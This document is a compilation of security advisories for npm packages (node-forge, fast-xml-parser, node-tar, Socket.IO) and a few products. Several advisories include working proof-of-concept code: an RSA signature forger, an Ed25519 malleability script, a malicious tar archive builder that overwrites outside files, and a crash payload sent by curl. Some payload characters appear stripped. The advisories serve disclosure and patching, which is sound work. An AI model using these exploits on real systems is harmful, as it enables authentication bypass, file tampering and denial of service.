A vulnerability identified in NetIQ Advance Authentication that leaks sensitive server information. This issue affects NetIQ Advance Authentication version before 6.3.5.1
Summary Ed25519 signature verification accepts forged non-canonical signatures where the scalar S is not reduced modulo the group order (S >= L). A valid signature and its S + L variant both verify in forge, while Node.js crypto.verify (OpenSSL-backed) rejects the S + L variant, as defined by the specification. This class of signature malleability has been exploited in practice to bypass authentication and authorization logic (see CVE-2026-25793, CVE-2022-35961). Applications relying on signature uniqueness (i.e., dedup by signature bytes, replay tracking, signed-object canonicalization checks) may be bypassed.
Impacted Deployments Tested commit: 8e1d527fe8ec2670499068db783172d4fb9012e5 Affected versions: tested on v1.3.3 (latest release) and all versions since Ed25519 was implemented.
Configuration assumptions: - Default forge Ed25519 verify API path (ed25519.verify(...)).
Root Cause In lib/ed25519.js, cryptosignopen(...) uses the signature's last 32 bytes (S) directly in scalar multiplication:
javascript scalarbase(q, sm.subarray(32));
There is no prior check enforcing S < L (Ed25519 group order). As a result, equivalent scalar classes can pass verification, including a modified signature where S := S + L (mod 2^256) when that value remains non-canonical. The PoC demonstrates this by mutating only the S half of a valid 64-byte signature.
Reproduction Steps - Use Node.js (tested with v24.9.0) and clone digitalbazaar/forge at commit 8e1d527fe8ec2670499068db783172d4fb9012e5. - Place and run the PoC script (poc.js) with node poc.js in the same level as the forge folder. - The script generates an Ed25519 keypair via forge, signs a fixed message, mutates the signature by adding Ed25519 order L to S (bytes 32..63), and verifies both original and tweaked signatures with forge and Node/OpenSSL (crypto.verify). - Confirm output includes:
json { "forge": { "originalvalid": true, "tweakedvalid": true }, "crypto": { "originalvalid": true, "tweakedvalid": false } }
Proof of Concept
Overview: - Demonstrates a valid control signature and a forged (S + L) signature in one run. - Uses Node/OpenSSL as a differential verification baseline. - Observed output on tested commit:
text { "forge": { "originalvalid": true, "tweakedvalid": true }, "crypto": { "originalvalid": true, "tweakedvalid": false } }
<details><summary>poc.js</summary>
javascript #!/usr/bin/env node 'use strict';
const path = require('path'); const crypto = require('crypto'); const forge = require('./forge'); const ed = forge.ed25519;
const MESSAGE = Buffer.from('dderpym is the coolest man alive!');
// Ed25519 group order L encoded as 32 bytes, little-endian (RFC 8032). const ED25519ORDERL = Buffer.from([ 0xed, 0xd3, 0xf5, 0x5c, 0x1a, 0x63, 0x12, 0x58, 0xd6, 0x9c, 0xf7, 0xa2, 0xde, 0xf9, 0xde, 0x14, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, ]);
// For Ed25519 signatures, s is the last 32 bytes of the 64-byte signature. // This returns a new signature with s := s + L (mod 2^256), plus the carry. function addLToS(signature) { if (!Buffer.isBuffer(signature) || signature.length !== 64) { throw new Error('signature must be a 64-byte Buffer'); } const out = Buffer.from(signature); let carry = 0; for (let i = 0; i < 32; i++) { const idx = 32 + i; // s starts at byte 32 in the 64-byte signature. const sum = out[idx] + ED25519ORDERL[i] + carry; out[idx] = sum & 0xff; carry = sum >> 8; } return { sig: out, carry }; }
function toSpkiPem(publicKeyBytes) { if (publicKeyBytes.length !== 32) { throw new Error('publicKeyBytes must be 32 bytes'); } // Builds an ASN.1 SubjectPublicKeyInfo for Ed25519 (RFC 8410) and returns PEM. const oidEd25519 = Buffer.from([0x06, 0x03, 0x2b, 0x65, 0x70]); const algId = Buffer.concat([Buffer.from([0x30, 0x05]), oidEd25519]); const bitString = Buffer.concat([Buffer.from([0x03, 0x21, 0x00]), publicKeyBytes]); const spki = Buffer.concat([Buffer.from([0x30, 0x2a]), algId, bitString]); const b64 = spki.toString('base64').match(/.{1,64}/g).join('\n'); return -----BEGIN PUBLIC KEY-----\n${b64}\n-----END PUBLIC KEY-----\n; }
function verifyWithCrypto(publicKey, message, signature) { try { const keyObject = crypto.createPublicKey(toSpkiPem(publicKey)); const ok = crypto.verify(null, message, keyObject, signature); return { ok }; } catch (error) { return { ok: false, error: error.message }; } }
function toResult(label, original, tweaked) { return { [label]: { originalvalid: original.ok, tweakedvalid: tweaked.ok, }, }; }
function main() { const kp = ed.generateKeyPair(); const sig = ed.sign({ message: MESSAGE, privateKey: kp.privateKey }); const ok = ed.verify({ message: MESSAGE, signature: sig, publicKey: kp.publicKey }); const tweaked = addLToS(sig); const okTweaked = ed.verify({ message: MESSAGE, signature: tweaked.sig, publicKey: kp.publicKey, }); const cryptoOriginal = verifyWithCrypto(kp.publicKey, MESSAGE, sig); const cryptoTweaked = verifyWithCrypto(kp.publicKey, MESSAGE, tweaked.sig); const result = { ...toResult('forge', { ok }, { ok: okTweaked }), ...toResult('crypto', cryptoOriginal, cryptoTweaked), }; console.log(JSON.stringify(result, null, 2)); }
main(); </details>
Suggested Patch Add strict canonical scalar validation in Ed25519 verify path before scalar multiplication. (Parse S as little-endian 32-byte integer and reject if S >= L).
Here is a patch we tested on our end to resolve the issue, though please verify it on your end:
diff index f3e6faa..87eb709 100644 --- a/lib/ed25519.js +++ b/lib/ed25519.js @@ -380,6 +380,10 @@ function cryptosignopen(m, sm, n, pk) { return -1; }
+ if(!isCanonicalSignatureScalar(sm, 32)) { + return -1; + } + for(i = 0; i < n; ++i) { m[i] = sm[i]; } @@ -409,6 +413,21 @@ function cryptosignopen(m, sm, n, pk) { return mlen; }
+function isCanonicalSignatureScalar(bytes, offset) { + var i; + // Compare little-endian scalar S against group order L and require S < L. + for(i = 31; i >= 0; --i) { + if(bytes[offset + i] < L[i]) { + return true; + } + if(bytes[offset + i] > L[i]) { + return false; + } + } + // S == L is non-canonical. + return false; +} + function modL(r, x) { var carry, i, j, k; for(i = 63; i >= 32; --i) {
Resources
- RFC 8032 (Ed25519): https://datatracker.ietf.org/doc/html/rfc8032#section-8.4 - > Ed25519 and Ed448 signatures are not malleable due to the verification check that decoded S is smaller than l
Credit
This vulnerability was discovered as part of a U.C. Berkeley security research project by: Austin Chu, Sohee Kim, and Corban Villa.
Summary RSASSA PKCS#1 v1.5 signature verification accepts forged signatures for low public exponent keys (e=3). Attackers can forge signatures by stuffing “garbage” bytes within the ASN structure in order to construct a signature that passes verification, enabling Bleichenbacher style forgery. This issue is similar to CVE-2022-24771, but adds bytes in an addition field within the ASN structure, rather than outside of it.
Additionally, forge does not validate that signatures include a minimum of 8 bytes of padding as defined by the specification, providing attackers additional space to construct Bleichenbacher forgeries.
Impacted Deployments Tested commit: 8e1d527fe8ec2670499068db783172d4fb9012e5 Affected versions: tested on v1.3.3 (latest release) and recent prior versions.
Configuration assumptions: - Invoke key.verify with defaults (default scheme uses RSASSA-PKCS1-v15). - parseAllDigestBytes: true (default setting).
Root Cause
In lib/rsa.js, key.verify(...), forge decrypts the signature block, decodes PKCS#1 v1.5 padding (decodePkcs1v15), parses ASN.1, and compares capture.digest to the provided digest.
Two issues are present with this logic:
1. Strict DER byte-consumption (parseAllDigestBytes) only guarantees all bytes are parsed, not that the parsed structure is the canonical minimal DigestInfo shape expected by RFC 8017 verification semantics. A forged EM with attacker-controlled additional ASN.1 content inside the parsed container can still pass forge verification while OpenSSL rejects it. 2. decodePkcs1v15 comments mention that PS < 8 bytes should be rejected, but does not implement this logic.
Reproduction Steps 1. Use Node.js (tested with v24.9.0) and clone digitalbazaar/forge at commit 8e1d527fe8ec2670499068db783172d4fb9012e5. 4. Place and run the PoC script (repromin.js) with node repromin.js in the same level as the forge folder. 5. The script generates a fresh RSA keypair (4096 bits, e=3), creates a normal control signature, then computes a forged candidate using cube-root interval construction. 6. The script verifies both signatures with: - forge verify (parseAllDigestBytes: true), and - Node/OpenSSL verify (crypto.verify with RSAPKCS1PADDING). 7. Confirm output includes: - control-forge-strict: true - control-node: true - forgery (forge library, strict): true - forgery (node/OpenSSL): false
Proof of Concept
Overview: - Demonstrates a valid control signature and a forged signature in one run. - Uses strict forge parsing mode explicitly (parseAllDigestBytes: true, also forge default). - Uses Node/OpenSSL as an differential verification baseline. - Observed output on tested commit:
text control-forge-strict: true control-node: true forgery (forge library, strict): true forgery (node/OpenSSL): false
<details><summary>repromin.js</summary>
javascript #!/usr/bin/env node 'use strict';
const crypto = require('crypto'); const forge = require('./forge/lib/index');
// DER prefix for PKCS#1 v1.5 SHA-256 DigestInfo, without the digest bytes: // SEQUENCE { // SEQUENCE { OID sha256, NULL }, // OCTET STRING <32-byte digest> // } // Hex: 30 0d 06 09 60 86 48 01 65 03 04 02 01 05 00 04 20 const DIGESTINFOSHA256PREFIX = Buffer.from( '300d060960864801650304020105000420', 'hex' );
const toBig = b => BigInt('0x' + (b.toString('hex') || '0')); function toBuf(n, len) { let h = n.toString(16); if (h.length % 2) h = '0' + h; const b = Buffer.from(h, 'hex'); return b.length < len ? Buffer.concat([Buffer.alloc(len - b.length), b]) : b; } function cbrtFloor(n) { let lo = 0n; let hi = 1n; while (hi hi hi <= n) hi <<= 1n; while (lo + 1n < hi) { const mid = (lo + hi) >> 1n; if (mid mid mid <= n) lo = mid; else hi = mid; } return lo; } const cbrtCeil = n => { const f = cbrtFloor(n); return f f f === n ? f : f + 1n; }; function derLen(len) { if (len < 0x80) return Buffer.from([len]); if (len <= 0xff) return Buffer.from([0x81, len]); return Buffer.from([0x82, (len >> 8) & 0xff, len & 0xff]); }
function forgeStrictVerify(publicPem, msg, sig) { const key = forge.pki.publicKeyFromPem(publicPem); const md = forge.md.sha256.create(); md.update(msg.toString('utf8'), 'utf8'); try { // verify(digestBytes, signatureBytes, scheme, options): // - digestBytes: raw SHA-256 digest bytes for msg // - signatureBytes: binary-string representation of the candidate signature // - scheme: undefined => default RSASSA-PKCS1-v15 // - options.parseAllDigestBytes: require DER parser to consume all bytes // (this is forge's default for verify; set explicitly here for clarity) return { ok: key.verify(md.digest().getBytes(), sig.toString('binary'), undefined, { parseAllDigestBytes: true }) }; } catch (err) { return { ok: false, err: err.message }; } }
function main() { const { privateKey, publicKey } = crypto.generateKeyPairSync('rsa', { modulusLength: 4096, publicExponent: 3, privateKeyEncoding: { type: 'pkcs1', format: 'pem' }, publicKeyEncoding: { type: 'pkcs1', format: 'pem' } });
const jwk = crypto.createPublicKey(publicKey).export({ format: 'jwk' }); const nBytes = Buffer.from(jwk.n, 'base64url'); const n = toBig(nBytes); const e = toBig(Buffer.from(jwk.e, 'base64url')); if (e !== 3n) throw new Error('expected e=3');
const msg = Buffer.from('forged-message-0', 'utf8'); const digest = crypto.createHash('sha256').update(msg).digest(); const algAndDigest = Buffer.concat([DIGESTINFOSHA256PREFIX, digest]);
// Minimal prefix that forge currently accepts: 00 01 00 + DigestInfo + extra OCTET STRING. const k = nBytes.length; // ffCount can be set to any value at or below 111 and produce a valid signature. // ffCount should be rejected for values below 8, since that would constitute a malformed PKCS1 package. // However, current versions of node forge do not check for this. // Rejection of packages with less than 8 bytes of padding is bad but does not constitute a vulnerability by itself. const ffCount = 0; // garbageLen affects DER length field sizes, which in turn affect how // many bytes remain for garbage. Iterate to a fixed point so total EM size is exactly k. // A small cap (8) is enough here: DER length-size transitions are discrete // and few (<128, <=255, <=65535, ...), so this stabilizes quickly. let garbageLen = 0; for (let i = 0; i < 8; i += 1) { const gLenEnc = derLen(garbageLen).length; const seqLen = algAndDigest.length + 1 + gLenEnc + garbageLen; const seqLenEnc = derLen(seqLen).length; const fixed = 2 + ffCount + 1 + 1 + seqLenEnc + algAndDigest.length + 1 + gLenEnc; const next = k - fixed; if (next === garbageLen) break; garbageLen = next; } const seqLen = algAndDigest.length + 1 + derLen(garbageLen).length + garbageLen; const prefix = Buffer.concat([ Buffer.from([0x00, 0x01]), Buffer.alloc(ffCount, 0xff), Buffer.from([0x00]), Buffer.from([0x30]), derLen(seqLen), algAndDigest, Buffer.from([0x04]), derLen(garbageLen) ]);
// Build the numeric interval of all EM values that start with prefix: // - low = prefix || 00..00 // - high = one past (prefix || ff..ff) // Then find s such that s^3 is inside [low, high), so EM has our prefix. const suffixLen = k - prefix.length; const low = toBig(Buffer.concat([prefix, Buffer.alloc(suffixLen)])); const high = low + (1n << BigInt(8 suffixLen)); const s = cbrtCeil(low); if (s > cbrtFloor(high - 1n) || s >= n) throw new Error('no candidate in interval');
const sig = toBuf(s, k);
const controlMsg = Buffer.from('control-message', 'utf8'); const controlSig = crypto.sign('sha256', controlMsg, { key: privateKey, padding: crypto.constants.RSAPKCS1PADDING });
// forge verification calls (library under test) const controlForge = forgeStrictVerify(publicKey, controlMsg, controlSig); const forgedForge = forgeStrictVerify(publicKey, msg, sig);
// Node.js verification calls (OpenSSL-backed reference behavior) const controlNode = crypto.verify('sha256', controlMsg, { key: publicKey, padding: crypto.constants.RSAPKCS1PADDING }, controlSig); const forgedNode = crypto.verify('sha256', msg, { key: publicKey, padding: crypto.constants.RSAPKCS1PADDING }, sig);
console.log('control-forge-strict:', controlForge.ok, controlForge.err || ''); console.log('control-node:', controlNode); console.log('forgery (forge library, strict):', forgedForge.ok, forgedForge.err || ''); console.log('forgery (node/OpenSSL):', forgedNode); }
main(); </details>
Suggested Patch - Enforce PKCS#1 v1.5 BT=0x01 minimum padding length (PS >= 8) in decodePkcs1v15 before accepting the block. - Update the RSASSA-PKCS1-v15 verifier to require canonical DigestInfo structure only (no extra attacker-controlled ASN.1 content beyond expected fields).
Here is a Forge-tested patch to resolve the issue, though it should be verified for consumer projects:
diff index b207a63..ec8a9c1 100644 --- a/lib/rsa.js +++ b/lib/rsa.js @@ -1171,6 +1171,14 @@ pki.setRsaPublicKey = pki.rsa.setPublicKey = function(n, e) { error.errors = errors; throw error; } + + if(obj.value.length != 2) { + var error = new Error( + 'DigestInfo ASN.1 object must contain exactly 2 fields for ' + + 'a valid RSASSA-PKCS1-v15 package.'); + error.errors = errors; + throw error; + } // check hash algorithm identifier // see PKCS1-v1-5DigestAlgorithms in RFC 8017 // FIXME: add support to validator for strict value choices @@ -1673,6 +1681,10 @@ function decodePkcs1v15(em, key, pub, ml) { } ++padNum; } + + if (padNum < 8) { + throw new Error('Encryption block is invalid.'); + } } else if(bt === 0x02) { // look for 0x00 byte padNum = 0; Resources - RFC 2313 (PKCS v1.5): https://datatracker.ietf.org/doc/html/rfc2313#section-8 - > This limitation guarantees that the length of the padding string PS is at least eight octets, which is a security condition. - RFC 8017: https://www.rfc-editor.org/rfc/rfc8017.html - lib/rsa.js key.verify(...) at lines ~1139-1223. - lib/rsa.js decodePkcs1v15(...) at lines ~1632-1695.
Credit
This vulnerability was discovered as part of a U.C. Berkeley security research project by: Austin Chu, Sohee Kim, and Corban Villa.
Summary
A Denial of Service (DoS) vulnerability exists in the node-forge library due to an infinite loop in the BigInteger.modInverse() function (inherited from the bundled jsbn library). When modInverse() is called with a zero value as input, the internal Extended Euclidean Algorithm enters an unreachable exit condition, causing the process to hang indefinitely and consume 100% CPU. Affected Package
Package name: node-forge (npm: node-forge) Repository: https://github.com/digitalbazaar/forge Affected versions: All versions (including latest) Affected file: lib/jsbn.js, function bnModInverse() Root cause component: Bundled copy of the jsbn (JavaScript Big Number) library
Vulnerability Details
Type: Denial of Service (DoS) CWE: CWE-835 (Loop with Unreachable Exit Condition) Attack vector: Network (if the application processes untrusted input that reaches modInverse) Privileges required: None User interaction: None Impact: Availability (process hangs indefinitely) Suggested CVSS v3.1 score: 5.3–7.5 (depending on the context of usage)
Root Cause Analysis
The BigInteger.prototype.modInverse(m) function in lib/jsbn.js implements the Extended Euclidean Algorithm to compute the modular multiplicative inverse of this modulo m. Mathematically, the modular inverse of 0 does not exist — gcd(0, m) = m ≠ 1 for any m > 1. However, the implementation does not check whether the input value is zero before entering the algorithm's main loop. When this equals 0, the algorithm's loop condition is never satisfied for termination, resulting in an infinite loop. The relevant code path in lib/jsbn.js: js javascriptfunction bnModInverse(m) { // ... setup ... // No check for this == 0 // Enters Extended Euclidean Algorithm loop that never terminates when this == 0 }
Attack Scenario
Any application using node-forge that passes attacker-controlled or untrusted input to a code path involving modInverse() is vulnerable. Potential attack surfaces include:
DSA/ECDSA signature verification — A crafted signature with s = 0 would trigger s.modInverse(q), causing the verifier to hang. Custom RSA or Diffie-Hellman implementations — Applications performing modular arithmetic with user-supplied parameters. Any cryptographic protocol where an attacker can influence a value that is subsequently passed to modInverse().
A single malicious request can cause the Node.js event loop to block indefinitely, rendering the entire application unresponsive.
Proof of Concept
Environment Setup bash mkdir forge-poc && cd forge-poc npm init -y npm install node-forge Reproduction (poc.js) A single script that safely detects the vulnerability using a child process with timeout. The parent process is never at risk of hanging. bash mkdir forge-poc && cd forge-poc npm init -y npm install node-forge Save the script below as poc.js, then run: node poc.js javascript 'use strict'; const { spawnSync } = require('childprocess');
const childCode = const forge = require('node-forge'); // jsbn may not be auto-loaded; try explicit require if needed if (!forge.jsbn) { try { require('node-forge/lib/jsbn'); } catch(e) {} } if (!forge.jsbn || !forge.jsbn.BigInteger) { console.error('ERROR: forge.jsbn.BigInteger not available'); process.exit(2); } const BigInteger = forge.jsbn.BigInteger; const zero = new BigInteger('0', 10); const mod = new BigInteger('3', 10); // This call should throw or return 0, but instead loops forever const inv = zero.modInverse(mod); console.log('returned: ' + inv.toString()); ;
console.log('[] Testing: BigInteger(0).modInverse(3)'); console.log('[] Expected: throw an error or return quickly'); console.log('[] Spawning child process with 5s timeout...'); console.log();
const result = spawnSync(process.execPath, ['-e', childCode], { encoding: 'utf8', timeout: 5000, });
if (result.error && result.error.code === 'ETIMEDOUT') { console.log('[VULNERABLE] Child process timed out after 5s'); console.log(' -> modInverse(0, 3) entered an infinite loop (DoS confirmed)'); process.exit(0); }
if (result.status === 2) { console.log('[ERROR] Could not access BigInteger:', result.stderr.trim()); console.log(' -> Check your node-forge installation'); process.exit(1); }
if (result.status === 0) { console.log('[NOT VULNERABLE] modInverse returned:', result.stdout.trim()); process.exit(1); }
console.log('[NOT VULNERABLE] Child exited with error (status ' + result.status + ')'); if (result.stderr) console.log(' stderr:', result.stderr.trim()); process.exit(1); Expected Output [] Testing: BigInteger(0).modInverse(3) [] Expected: throw an error or return quickly [] Spawning child process with 5s timeout...
[VULNERABLE] Child process timed out after 5s -> modInverse(0, 3) entered an infinite loop (DoS confirmed) Verified On
node-forge v1.3.1 (latest at time of writing) Node.js v18.x / v20.x / v22.x macOS / Linux / Windows
Impact
Availability: An attacker can cause a complete Denial of Service by sending a single crafted input that reaches the modInverse() code path. The Node.js process will hang indefinitely, blocking the event loop and making the application unresponsive to all subsequent requests. Scope: node-forge is a widely used cryptographic library with millions of weekly downloads on npm. Any application that processes untrusted cryptographic parameters through node-forge may be affected.
Suggested Fix
Add a zero-value check at the entry of bnModInverse() in lib/jsbn.js: javascript function bnModInverse(m) { var ac = m.isEven(); // Add this check: if (this.signum() == 0) { throw new Error('BigInteger has no modular inverse: input is zero'); } // ... rest of the existing implementation ... } Alternatively, return BigInteger.ZERO if that behavior is preferred, though throwing an error is more mathematically correct and consistent with other BigInteger implementations (e.g., Java's BigInteger.modInverse() throws ArithmeticException).
Impact
A specially crafted Socket.IO packet can make the server wait for a large number of binary attachments and buffer them, which can be exploited to make the server run out of memory.
Patches
| Version range | Used by | Fixed version | |------------------|--------------------------------------------|---------------| | >=4.0.0 <4.2.6 | socket.io@4.x and socket.io-client@4.x | 4.2.6 | | >=3.4.0 <3.4.4 | socket.io@2.x | 3.4.4 | | <3.3.5 | socket.io-client@2.x | 3.3.5 |
Workarounds
There is no known workaround except upgrading to a safe version.
For more information
If you have any questions or comments about this advisory:
- Open a discussion here
Summary
The fix for CVE-2026-26278 added entity expansion limits (maxTotalExpansions, maxExpandedLength, maxEntityCount, maxEntitySize) to prevent XML entity expansion Denial of Service. However, these limits are only enforced for DOCTYPE-defined entities. Numeric character references (&#NNN; and &#xHH;) and standard XML entities (<, >, etc.) are processed through a separate code path that does NOT enforce any expansion limits.
An attacker can use massive numbers of numeric entity references to completely bypass all configured limits, causing excessive memory allocation and CPU consumption.
Affected Versions
fast-xml-parser v5.x through v5.5.3 (and likely v5.5.5 on npm)
Root Cause
In src/xmlparser/OrderedObjParser.js, the replaceEntitiesValue() function has two separate entity replacement loops:
1. Lines 638-670: DOCTYPE entities — expansion counting with entityExpansionCount and currentExpandedLength tracking. This was the CVE-2026-26278 fix. 2. Lines 674-677: lastEntities loop — replaces standard entities including numdec (/&#([0-9]{1,7});/g) and numhex (/&#x([0-9a-fA-F]{1,6});/g). This loop has NO expansion counting at all.
The numeric entity regex replacements at lines 97-98 are part of lastEntities and go through the uncounted loop, completely bypassing the CVE-2026-26278 fix.
Proof of Concept
javascript const { XMLParser } = require('fast-xml-parser');
// Even with strict explicit limits, numeric entities bypass them const parser = new XMLParser({ processEntities: { enabled: true, maxTotalExpansions: 10, maxExpandedLength: 100, maxEntityCount: 1, maxEntitySize: 10 } });
// 100K numeric entity references — should be blocked by maxTotalExpansions=10 const xml = <root>${'A'.repeat(100000)}</root>; const result = parser.parse(xml);
// Output: 500,000 chars — bypasses maxExpandedLength=100 completely console.log('Output length:', result.root.length); // 500000 console.log('Expected max:', 100); // limit was 100
Results: - 100K A references → 500,000 char output (5x default maxExpandedLength of 100,000) - 1M references → 5,000,000 char output, ~147MB memory consumed - Even with maxTotalExpansions=10 and maxExpandedLength=100, 10K references produce 50,000 chars - Hex entities (A) exhibit the same bypass
Impact
Denial of Service — An attacker who can provide XML input to applications using fast-xml-parser can cause: - Excessive memory allocation (147MB+ for 1M entity references) - CPU consumption during regex replacement - Potential process crash via OOM
This is particularly dangerous because the application developer may have explicitly configured strict entity expansion limits believing they are protected, while numeric entities silently bypass all of them.
Suggested Fix
Apply the same entityExpansionCount and currentExpandedLength tracking to the lastEntities loop (lines 674-677) and the HTML entities loop (lines 680-686), similar to how DOCTYPE entities are tracked at lines 638-670.
Workaround
Set htmlEntities:false
Summary tar (npm) can be tricked into creating a symlink that points outside the extraction directory by using a drive-relative symlink target such as C:../../../target.txt, which enables file overwrite outside cwd during normal tar.x() extraction.
Details The extraction logic in Unpack[STRIPABSOLUTEPATH] validates .. segments against a resolved path that still uses the original drive-relative value, and only afterwards rewrites the stored linkpath to the stripped value.
What happens with linkpath: "C:../../../target.txt": 1. stripAbsolutePath() removes C: and rewrites the value to ../../../target.txt. 2. The escape check resolves using the original pre-stripped value, so it is treated as in-bounds and accepted. 3. Symlink creation uses the rewritten value (../../../target.txt) from nested path a/b/l. 4. Writing through the extracted symlink overwrites the outside file (../target.txt).
This is reachable in standard usage (tar.x({ cwd, file })) when extracting attacker-controlled tar archives.
PoC Tested on Arch Linux with tar@7.5.10.
PoC script (poc.cjs):
js const fs = require('fs') const path = require('path') const { Header, x } = require('tar')
const cwd = process.cwd() const target = path.resolve(cwd, '..', 'target.txt') const tarFile = path.join(cwd, 'poc.tar')
fs.writeFileSync(target, 'ORIGINAL\n')
const b = Buffer.alloc(1536) new Header({ path: 'a/b/l', type: 'SymbolicLink', linkpath: 'C:../../../target.txt', }).encode(b, 0) fs.writeFileSync(tarFile, b)
x({ cwd, file: tarFile }).then(() => { fs.writeFileSync(path.join(cwd, 'a/b/l'), 'PWNED\n') process.stdout.write(fs.readFileSync(target, 'utf8')) })
Run:
bash node poc.cjs && readlink a/b/l && ls -l a/b/l ../target.txt
Observed output:
text PWNED ../../../target.txt lrwxrwxrwx - joshuavr 7 Mar 18:37 a/b/l -> ../../../target.txt .rw-r--r-- 6 joshuavr 7 Mar 18:37 ../target.txt
PWNED confirms outside file content overwrite. readlink and ls -l confirm the extracted symlink points outside the extraction directory.
Impact This is an arbitrary file overwrite primitive outside the intended extraction root, with the permissions of the process performing extraction.
Realistic scenarios: - CLI tools unpacking untrusted tarballs into a working directory - build/update pipelines consuming third-party archives - services that import user-supplied tar files
Summary tar.extract() in Node tar allows an attacker-controlled archive to create a hardlink inside the extraction directory that points to a file outside the extraction root, using default options.
This enables arbitrary file read and write as the extracting user (no root, no chmod, no preservePaths).
Severity is high because the primitive bypasses path protections and turns archive extraction into a direct filesystem access primitive.
Details The bypass chain uses two symlinks plus one hardlink:
1. a/b/c/up -> ../.. 2. a/b/escape -> c/up/../.. 3. exfil (hardlink) -> a/b/escape/<target-relative-to-parent-of-extract>
Why this works:
- Linkpath checks are string-based and do not resolve symlinks on disk for hardlink target safety. - See STRIPABSOLUTEPATH logic in: - ../tar-audit-setuid - CVE/nodemodules/tar/dist/commonjs/unpack.js:255 - ../tar-audit-setuid - CVE/nodemodules/tar/dist/commonjs/unpack.js:268 - ../tar-audit-setuid - CVE/nodemodules/tar/dist/commonjs/unpack.js:281
- Hardlink extraction resolves target as path.resolve(cwd, entry.linkpath) and then calls fs.link(target, destination). - ../tar-audit-setuid - CVE/nodemodules/tar/dist/commonjs/unpack.js:566 - ../tar-audit-setuid - CVE/nodemodules/tar/dist/commonjs/unpack.js:567 - ../tar-audit-setuid - CVE/nodemodules/tar/dist/commonjs/unpack.js:703
- Parent directory safety checks (mkdir + symlink detection) are applied to the destination path of the extracted entry, not to the resolved hardlink target path. - ../tar-audit-setuid - CVE/nodemodules/tar/dist/commonjs/unpack.js:617 - ../tar-audit-setuid - CVE/nodemodules/tar/dist/commonjs/unpack.js:619 - ../tar-audit-setuid - CVE/nodemodules/tar/dist/commonjs/mkdir.js:27 - ../tar-audit-setuid - CVE/nodemodules/tar/dist/commonjs/mkdir.js:101
As a result, exfil is created inside extraction root but linked to an external file. The PoC confirms shared inode and successful read+write via exfil.
PoC hardlink.js Environment used for validation:
- Node: v25.4.0 - tar: 7.5.7 - OS: macOS Darwin 25.2.0 - Extract options: defaults (tar.extract({ file, cwd }))
Steps:
1. Prepare/locate a tar module. If require('tar') is not available locally, set TARMODULE to an absolute path to a tar package directory.
2. Run:
bash TARMODULE="$(cd '../tar-audit-setuid - CVE/nodemodules/tar' && pwd)" node hardlink.js
3. Expected vulnerable output (key lines):
text sameinode=true readok=true writeok=true result=VULNERABLE
Interpretation:
- sameinode=true: extracted exfil and external secret are the same file object. - readok=true: reading exfil leaks external content. - writeok=true: writing exfil modifies external file.
Impact Vulnerability type:
- Arbitrary file read/write via archive extraction path confusion and link resolution.
Who is impacted:
- Any application/service that extracts attacker-controlled tar archives with Node tar defaults. - Impact scope is the privileges of the extracting process user.
Potential outcomes:
- Read sensitive files reachable by the process user. - Overwrite writable files outside extraction root. - Escalate impact depending on deployment context (keys, configs, scripts, app data).
IBM WebSphere Application Server Liberty 17.0.0.3 through 26.0.0.1 could allow a privileged user to upload a zip archive containing path traversal sequences resulting in an overwrite of files leading to arbitrary code execution.
Summary A RangeError vulnerability exists in the numeric entity processing of fast-xml-parser when parsing XML with out-of-range entity code points (e.g., � or �). This causes the parser to throw an uncaught exception, crashing any application that processes untrusted XML input.
Details The vulnerability exists in /src/xmlparser/OrderedObjParser.js at lines 44-45:
javascript "numdec": { regex: /&#([0-9]{1,7});/g, val : (, str) => String.fromCodePoint(Number.parseInt(str, 10)) }, "numhex": { regex: /&#x([0-9a-fA-F]{1,6});/g, val : (, str) => String.fromCodePoint(Number.parseInt(str, 16)) },
The String.fromCodePoint() method throws a RangeError when the code point exceeds the valid Unicode range (0 to 0x10FFFF / 1114111). The regex patterns can capture values far exceeding this: - [0-9]{1,7} matches up to 9,999,999 - [0-9a-fA-F]{1,6} matches up to 0xFFFFFF (16,777,215)
The entity replacement in replaceEntitiesValue() (line 452) has no try-catch:
javascript val = val.replace(entity.regex, entity.val);
This causes the RangeError to propagate uncaught, crashing the parser and any application using it. PoC Setup
Create a directory with these files:
poc/ ├── package.json ├── server.js
package.json json { "dependencies": { "fast-xml-parser": "^5.3.3" } }
server.js javascript const http = require('http'); const { XMLParser } = require('fast-xml-parser');
const parser = new XMLParser({ processEntities: true, htmlEntities: true });
http.createServer((req, res) => { if (req.method === 'POST' && req.url === '/parse') { let body = ''; req.on('data', c => body += c); req.on('end', () => { const result = parser.parse(body); // No try-catch - will crash! res.end(JSON.stringify(result)); }); } else { res.end('POST /parse with XML body'); } }).listen(3000, () => console.log('http://localhost:3000'));
Run
bash Setup npm install
Terminal 1: Start server node server.js
Terminal 2: Send malicious payload (server will crash) curl -X POST -H "Content-Type: application/xml" -d '<?xml version="1.0"?><root>�</root>' http://localhost:3000/parse Result
Server crashes with: RangeError: Invalid code point 9999999
Alternative Payloads
xml <!-- Hex variant --> <?xml version="1.0"?><root>�</root>
<!-- In attribute --> <?xml version="1.0"?><root attr="�"/>
Impact Denial of Service (DoS): Any application using fast-xml-parser to process untrusted XML input will crash when encountering malformed numeric entities. This affects:
- API servers accepting XML payloads - File processors parsing uploaded XML files - Message queues consuming XML messages - RSS/Atom feed parsers - SOAP/XML-RPC services
A single malicious request is sufficient to crash the entire Node.js process, causing service disruption until manual restart.
Summary node-tar contains a vulnerability where the security check for hardlink entries uses different path resolution semantics than the actual hardlink creation logic. This mismatch allows an attacker to craft a malicious TAR archive that bypasses path traversal protections and creates hardlinks to arbitrary files outside the extraction directory.
Details The vulnerability exists in lib/unpack.js. When extracting a hardlink, two functions handle the linkpath differently:
Security check in [STRIPABSOLUTEPATH]: javascript const entryDir = path.posix.dirname(entry.path); const resolved = path.posix.normalize(path.posix.join(entryDir, linkpath)); if (resolved.startsWith('../')) { / block / }
Hardlink creation in [HARDLINK]: javascript const linkpath = path.resolve(this.cwd, entry.linkpath); fs.linkSync(linkpath, dest);
Example: An application extracts a TAR using tar.extract({ cwd: '/var/app/uploads/' }). The TAR contains entry a/b/c/d/x as a hardlink to ../../../../etc/passwd.
- Security check resolves the linkpath relative to the entry's parent directory: a/b/c/d/ + ../../../../etc/passwd = etc/passwd. No ../ prefix, so it passes.
- Hardlink creation resolves the linkpath relative to the extraction directory (this.cwd): /var/app/uploads/ + ../../../../etc/passwd = /etc/passwd. This escapes to the system's /etc/passwd.
